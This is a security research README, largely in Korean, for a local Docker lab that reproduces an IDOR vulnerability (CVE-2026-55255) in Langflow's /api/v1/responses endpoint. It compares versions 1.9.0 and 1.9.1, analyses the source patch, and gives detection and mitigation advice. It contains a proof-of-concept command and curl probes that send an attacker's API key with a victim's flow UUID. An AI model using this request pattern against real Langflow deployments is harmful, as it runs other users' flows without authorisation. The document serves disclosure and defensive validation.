
/api/v1/responses IDOR 취약점이 저장소는 Langflow의 OpenAI 호환 Responses API에 영향을 미치는 안전하지 않은 직접 객체 참조(IDOR) 취약점인 CVE-2026-55255를 재현하고 검증하기 위한 로컬 Docker 랩을 포함합니다.
Langflow는 AI 기반 에이전트와 워크플로우를 구축하고 배포하기 위한 오픈소스 플랫폼입니다. 취약한 동작은 /api/v1/responses 엔드포인트에 영향을 미치며, 인증된 공격자가 다른 사용자의 flow UUID를 model 값으로 제공하여 Langflow가 해당 피해자 소유의 flow를 실행하도록 만들 수 있습니다.
이 랩은 두 가지 Langflow 버전을 비교합니다:
| 서비스 | Langflow 버전 | 용도 | URL |
|---|---|---|---|
| vuln | 1.9.0 | 취약한 비교 대상 | http://localhost:7860 |
| patched | 1.9.1 | 패치된 비교 대상 | http://localhost:7861 |
이 로컬 랩에서 시연된 HTTP 검증 경로는 다음과 같습니다:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
취약한 대상에서 공격자가 소유한 API 키는 피해자가 소유한 플로우를 실행할 수 있으며, 응답에는 피해자 전용 마커가 포함됩니다:```text
VICTIM_ONLY_CONTEXT_55255_VULN
패치된 대상에서는 동일한 사용자 간 요청이 피해자 마커를 반환하지 않고 OpenAI 스타일의 오류 본문을 반환합니다:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
This lab validates the vulnerable-versus-patched HTTP behavior using Langflow 1.9.0 and Langflow 1.9.1.
The lab is intentionally scoped to local Docker services. It does not target external systems and does not include credential theft, database dumping, destructive payloads, external callbacks, malware, persistence, or post-exploitation activity.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 affects Langflow's `/api/v1/responses` endpoint. | GitHub Advisory GHSA-qrpv-q767-xqq2 describes an IDOR in `/api/v1/responses`. | Review the References section and run the PoC against both local targets. |
| GitHub Advisory lists affected versions as `< 1.9.1` and patched version as `1.9.1`. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Compare the vulnerable and patched target versions in `docker-compose.yml`. |
| Some downstream vulnerability sources disagree on the exact fixed version. | GitHub/GitLab list `1.9.1` as fixed; some downstream intelligence pages mention `1.9.2` or contain mixed wording. | Review the References section and rely on the lab validation for the tested 1.9.1 behavior. |
| This lab uses Langflow 1.9.0 as the vulnerable comparison target. | The `vuln` service uses `langflowai/langflow:1.9.0`. | Inspect `docker-compose.yml` and run `docker compose ps`. |
| This lab uses Langflow 1.9.1 as the patched comparison target. | The `patched` service uses `langflowai/langflow:1.9.1`. | Inspect `docker-compose.yml` and run `docker compose ps`. |
| Langflow's Responses API uses `POST /api/v1/responses`. | Langflow documentation describes the OpenAI-compatible Responses API endpoint. | Run the PoC or manual curl request against `/api/v1/responses`. |
| Langflow's Responses API accepts a flow ID as the `model` value. | Langflow documentation states that the `model` value is replaced with a `flow_id`. | Inspect the PoC request body. |
| Langflow API requests require an API key through `x-api-key`. | Langflow API documentation describes API key authentication with the `x-api-key` header. | Inspect the PoC request headers. |
| The PoC is request-based. | `poc/validate_idor.py` sends HTTP requests and does not call Docker, Docker Compose, shell commands, or container APIs. | Inspect `poc/validate_idor.py`. |
| The vulnerable target executes a victim-owned flow with an attacker-owned API key. | The vulnerable response returns `VICTIM_ONLY_CONTEXT_55255_VULN`. | Run the vulnerable PoC command with the victim flow ID and attacker API key. |
| The patched target blocks the same cross-user execution path. | The patched response returns `error.code = flow_not_found` and does not return the victim marker. | Run the patched PoC command with the victim flow ID and attacker API key. |
## Assumptions and Unknowns
This lab uses Langflow 1.9.0 as the vulnerable comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 identifies versions before 1.9.1 as affected, and local testing confirmed the vulnerable behavior in 1.9.0.
This lab uses Langflow 1.9.1 as the patched comparison target because GitHub Advisory GHSA-qrpv-q767-xqq2 lists 1.9.1 as the patched version, and local testing confirmed that 1.9.1 blocks the tested cross-user `/api/v1/responses` execution path with `flow_not_found`.
There is a version discrepancy between sources. GitHub and GitLab advisories list versions before 1.9.1 as affected and 1.9.1 as fixed. Some downstream vulnerability intelligence pages mention 1.9.2 or contain mixed wording around the fixed version. This repository documents that discrepancy and validates the tested behavior directly:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
이 랩은 공격자가 이미 피해자의 flow UUID를 알고 있다고 가정합니다. PoC는 flow ID를 무차별 대입하지 않으며, flow를 열거하거나 피해자의 flow ID를 발견하려고 시도하지 않습니다.
이 랩은 다음의 관찰 가능한 HTTP 동작에 초점을 맞춥니다:```text POST /api/v1/responses
이 요청 형태로:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
이 랩은 취약한 대상에서 비인가 교차 사용자 플로우 실행을 시연하고, 패치된 대상에서는 차단된 동작을 시연합니다.
이 랩은 다음을 시연하지 않습니다:
CVE-2026-55255의 근본 원인은 Langflow의 플로우 조회 로직에 존재하는 인가 갭입니다.
/api/v1/responses 엔드포인트는 model 필드를 통해 플로우 UUID를 수신합니다. 취약한 버전에서는 get_flow_by_id_or_endpoint_name() 내부의 UUID 조회 경로가 기본 키(PK)로 Flow 객체를 직접 로드할 수 있었으며, 조회된 Flow.user_id가 인증된 API 키 사용자와 일치하는지 검증하지 않았습니다.
취약한 동작은 다음과 같이 요약할 수 있습니다:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
패치된 동작은 다음과 같이 요약할 수 있습니다:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
보안 문제는 공격자가 자신의 flow를 사용하여 /api/v1/responses를 호출할 수 있다는 점이 아닙니다. 이는 예상된 동작입니다. 문제는 낮은 권한의 인증된 사용자가 피해자 flow UUID를 제공할 때 엔드포인트가 다른 사용자가 소유한 flow를 실행하도록 만들 수 있다는 것입니다.
보안 교훈은 다음과 같습니다.```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## 소스 코드 분석
소스 레벨 문제는 Langflow `v1.9.0`과 `v1.9.1`을 비교하여 확인했습니다.
검토에 사용된 소스 태그는 다음과 같습니다:
| 버전 | Git 커밋 |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
관련 헬퍼는 다음과 같습니다:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
취약한 UUID 분기에서 흐름이 ID로 로드되었습니다:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
보안 관련 누락된 검사는 다음과 같았습니다:```python
flow.user_id == authenticated_user.id
소유자 확인이 없으면 유효한 flow UUID만으로도 다른 사용자에게 속한 Flow 객체를 확인할 수 있었습니다.
패치된 버전은 user_id의 정규화를 추가하고 UUID 경로에 소유자 스코프를 적용합니다:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
중요한 동작은 다음과 같습니다:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
이것이 패치된 랩 응답이 반환되는 이유입니다:```json {"error":{"code":"flow_not_found"}}
피해자가 소유한 플로우를 실행하는 대신.
이 랩에서 주요 취약 동작은 `/api/v1/responses` 실행 경로가 `get_flow_by_id_or_endpoint_name()`에 도달하여 소유권을 확인하지 않고 피해자 소유 플로우 UUID를 해석하는 것입니다.
이 패치는 또한 관련 플로우 실행 경로를 강화합니다. `endpoints.py`에서 이전에 원시 헬퍼를 FastAPI 의존성으로 사용하던 경로는 다음에서 변경되었습니다:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
인증된 래퍼(wrappers)와 같은 대상으로, 예를 들어:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
이러한 래퍼 변경은 `/api/v1/run*`과 같은 다른 플로우 실행 경로에 대한 관련 강화 조치입니다. 이 변경은 헬퍼가 일반 요청 매개변수에 의존하는 대신 인증된 사용자 ID를 받도록 보장합니다. 이 랩에서 시연하는 핵심 수정 사항은 `get_flow_by_id_or_endpoint_name()` 내부의 리졸버 측 소유권 검사로 유지됩니다.
따라서 소스 수준 수정 사항은 두 가지 관련 부분으로 구성됩니다:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1은 취약한 플로우 해석 경로를 강화하여, 교차 사용자 조회를 찾을 수 없음으로 처리하고 관련 플로우 실행 경로가 인증된 사용자 컨텍스트를 해석기에 전달하도록 보장합니다.
핵심 패치 로직은 다음과 같습니다:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
이 패치는 또한 플로우를 해석해야 하는 라우트에 대한 인증된 래퍼 의존성을 추가합니다:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
보안 관련 변경 사항은 다음과 같습니다:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
패치는 또한 정보 노출을 줄입니다. 사용자 간 액세스는 다른 사용자의 플로우가 존재하는지 여부를 드러낼 수 있는 별도의 권한 부여 응답을 반환하는 대신, 찾을 수 없는 것으로 처리됩니다.
이 랩은 소스 리뷰와 런타임 검증을 분리하여 유지합니다:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
이 랩은 Docker Compose를 통해 두 개의 격리된 Langflow 대상을 실행합니다.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
`state/` 파일은 랩 시작 중에 seed 서비스에 의해 생성됩니다. `src/` 디렉터리에는 소스 diff 검증에 사용되는 체크아웃된 Langflow 소스 트리가 포함되어 있습니다.
두 Langflow 서비스는 별도의 애플리케이션 버전과 별도의 컨테이너 내부 SQLite 데이터베이스를 사용합니다:
| 서비스 | 구성 요소 | 버전 / 역할 |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | 취약한 대상 애플리케이션 |
| patched | Langflow | 패치된 비교 애플리케이션 |
| seed-vuln | Python | 로컬 사용자, API 키, 플로우 생성 |
| seed-patched | Python | 로컬 사용자, API 키, 플로우 생성 |
기본 노출 서비스:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
실습 환경은 고정된 Langflow 이미지를 사용합니다:
| 대상 | Langflow 버전 | 예상 동작 |
|---|---|---|
| http://localhost:7860 | 1.9.0 | 공격자의 API 키는 피해자 소유 플로우를 실행할 수 있음 |
| http://localhost:7861 | 1.9.1 | 사용자 간 피해자 플로우 실행은 차단됨 |
시드 서비스는 다음 동안 자동으로 실행됩니다:```bash docker compose up --build --wait
그들은 생성합니다:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
시드로 생성된 state/*.json 파일은 API 키 및 플로우 UUID와 같은 일회성 로컬 테스트 값을 제공합니다.
PoC는 state/*.json을 읽지 않습니다. 사용자는 명령줄 인자를 통해 대상 URL, API 키, 플로우 ID 및 선택적 예상 마커를 제공합니다.
랩은 취약한 /api/v1/responses 라우트를 생성하거나 수정하지 않습니다. 해당 라우트는 Langflow가 제공합니다.
--wait를 지원하는 Docker Compose v2jqPoC에는 Python 서드파티 패키지가 필요하지 않습니다. PoC는 Python 표준 라이브러리 모듈만 사용합니다.
시드 컨테이너는 내부적으로 Python requests 패키지를 설치합니다. 해당 패키지는 랩 설정 중 시드 서비스에서만 사용되며, PoC에서는 사용되지 않습니다.
클린 상태에서 랩을 시작하세요:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
서비스 상태 확인:```bash
docker compose ps
예상 정상 서비스:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
예상 노출 대상:```text
http://localhost:7860
http://localhost:7861
seed 상태 파일 확인:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
예상 파일:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
취약한 대상에 대해 요청 기반 검증을 실행합니다:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
패치된 대상에 대해 요청 기반 검증을 실행하십시오:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
PoC는 대상 URL, API 키, 플로우 ID 및 선택적 예상 마커를 허용합니다:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
필수 옵션:
| 옵션 | 의미 |
| ------ | ------- |
| `--url` | Langflow 기본 URL |
| `--api-key` | `x-api-key` 헤더에 사용되는 API 키 |
| `--flow-id` | `model` 값으로 사용되는 Flow UUID |
선택 옵션:
| 옵션 | 의미 |
| ------ | ------- |
| `--expect-marker` | 대상 플로우가 실행될 경우 응답에 예상되는 마커 |
PoC는 다음 HTTP 요청을 전송합니다:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
요청 본문:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
이 PoC는 요청 기반입니다. Docker, Docker Compose, 셸 명령어, WP-CLI, 컨테이너 API 또는 Langflow 시드 API를 호출하지 않습니다.
이 랩에서는 `state/*.json`을 사용하여 일회용 로컬 API 키와 플로우 ID를 PoC 명령어에 복사할 수 있습니다. PoC 자체는 해당 파일에 의존하지 않습니다. `state/*.json`의 API 키는 일회용 로컬 랩 키이므로, 이러한 명령어에 실제 프로덕션 API 키를 사용하지 마십시오.
## 예상 결과
### 취약한 대상
명령어:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
중요한 취약 신호는 다음과 같습니다:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
명령:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
패치된 대상의 예상 신호:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
중요한 패치된 신호는 다음과 같습니다:```text attacker API key
### 마커 없이 실행 관찰됨
`--expect-marker`가 생략되고 대상이 완료된 Langflow 응답을 반환하면 PoC는 다음과 같이 보고합니다:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
이는 대상 flow가 실행되었음을 의미하지만, PoC 단독으로는 제공된 flow ID가 다른 사용자의 것임을 증명할 수 없습니다. 소유권은 랩 시드 데이터, flow ID의 출처 또는 기타 승인된 증거를 통해 확인되어야 합니다.
검증기는 Langflow Responses API 엔드포인트로 HTTP POST 요청 하나를 전송합니다:```text /api/v1/responses
요청은 제공된 API 키를 사용합니다:```text
x-api-key: <attacker-api-key>
요청 본문은 제공된 플로우 UUID를 model 값으로 사용합니다:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
예상되는 취약 동작:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
패치 후 예상 동작:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
이 랩에서 Langflow 1.9.1은 OpenAI 스타일 JSON 오류 객체와 함께 `HTTP 200`을 반환합니다:```json
{"error":{"code":"flow_not_found"}}
이것이 PoC가 HTTP 전송 상태가 반드시 404여야 한다고 가정하는 대신 JSON 오류 코드를 확인하는 이유입니다.
PoC는 의도적으로 교차 사용자 흐름 실행 조건만 검증합니다. 흐름 ID를 발견하거나, UUID를 무차별 대입하거나, 사용자를 열거하거나, 비밀을 추출하거나, 외부 서비스를 트리거하는 시도를 하지 않습니다.
랩 시드는 일회용 로컬 값을 state/*.json에 기록합니다. 이 명령어들은 해당 로컬 값을 사용하여 curl 요청을 구성합니다. 상태 파일은 랩 전용 산출물입니다.
취약한 프로브:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
취약할 것으로 예상되는 결과:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
패치된 프로브:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
예상 패치 결과:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255는 다중 사용자 또는 다중 테넌트 Langflow 배포 환경에서 보안에 민감합니다. 인증된 사용자가 피해자 플로우 UUID를 알면 다른 사용자의 플로우를 실행할 수 있기 때문입니다.
실제 환경에서의 잠재적 영향은 피해자가 소유한 플로우가 수행하는 작업에 따라 달라집니다.
가능한 영향은 다음을 포함할 수 있습니다:
실제 악용 가능성은 공격자가 유효한 피해자 플로우 UUID를 얻을 수 있는지에 달려 있습니다. 플로우 UUID 추측은 이 랩의 초점이 아니며, PoC는 플로우 ID를 무차별 대입하지 않습니다.
이 랩은 안전한 권한 부여 경계 실패만을 시연합니다:```text attacker API key
이 랩은 실제 데이터 접근, 실제 비밀 접근, LLM 공급자 키 남용, 외부 콜백 또는 포스트 익스플로잇을 시연하지 않습니다.
## 탐지 및 모니터링
잠재적 지표에는 다음에 대한 인증된 요청이 포함됩니다:```text
POST /api/v1/responses
의심스러운 요청 패턴:```text x-api-key belongs to user A model contains flow UUID owned by user B
고신호 탐지 아이디어:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
검토할 수 있는 애플리케이션 계층 로그 또는 텔레메트리:
model 값,flow_not_found 응답,/api/v1/responses에서 성공적으로 완료된 응답,취약한 검증 아티팩트 예시:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
패치된 검증 아티팩트 예시:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
Recommended monitoring actions:
/api/v1/responses에 대한 API 로그를 검토하십시오.flow_not_found 급증을 검토하십시오.Langflow를 수정된 버전으로 업그레이드하십시오.
GitHub Advisory GHSA-qrpv-q767-xqq2는 Langflow 1.9.1이 CVE-2026-55255에 대해 패치된 버전으로 명시합니다. 일부 다운스트림 취약점 인텔리전스 소스는 1.9.2를 언급하거나 수정된 버전에 대해 혼합된 표현을 포함합니다. 이 실습은 Langflow 1.9.1이 테스트된 /api/v1/responses 교차 사용자 실행 경로를 flow_not_found로 차단함을 검증합니다. 프로덕션 환경에서는 실습 비교 버전에 그치지 말고 사용 가능한 최신 Langflow 릴리스로 업데이트하십시오.
권장 완화 절차:
/api/v1/responses 요청에 대한 로그를 검토하십시오.보안 엔지니어링 교훈:
이 실습은 로컬 보안 연구 및 통제된 데모 전용입니다.
소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에 대해 PoC 또는 수동 curl 요청을 실행하지 마십시오.
이 실습에서 실제 프로덕션 자격 증명, 고객 데이터, 결제 데이터, API 키, LLM 공급자 키, 데이터베이스 자격 증명 또는 프로덕션 비밀을 사용하지 마십시오.
의도된 범위는 다음과 같은 로컬 Docker 서비스로 제한됩니다:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
이 PoC는 의도적으로 요청 기반입니다. Docker, Docker Compose, 셸 명령, WP-CLI 또는 컨테이너 API를 호출하지 않습니다.
이 랩에는 다음을 위한 페이로드가 포함되어 있지 않습니다:
* flow UUID 무차별 대입,
* 사용자 열거,
* 자격 증명 탈취,
* 데이터베이스 덤프,
* LLM 공급자 키 남용,
* 임의 명령 실행,
* 악성코드,
* 지속성,
* 측면 이동,
* 고객 데이터 접근,
* 또는 외부 콜백.
목표는 통제된 환경에서 하나의 특정 기술적 조건을 시연하는 것입니다:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
CVE 레코드: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
GitHub 권고: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
GitLab 권고: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Langflow Pull Request: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Langflow OpenAI Responses API 문서 https://docs.langflow.org/api-openai-responses
Langflow API 키 및 인증 문서 https://docs.langflow.org/api-keys-and-authentication
Langflow API 참조 예제 https://docs.langflow.org/api-reference-api-examples
Langflow GitHub 저장소 https://github.com/langflow-ai/langflow
Langflow Docker 이미지 https://hub.docker.com/r/langflowai/langflow
GHSA-qrpv-q767-xqq2에 대한 Tenable 플러그인 노트 https://www.tenable.com/plugins/container-security/443659
Mondoo 취약점 인텔리전스: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255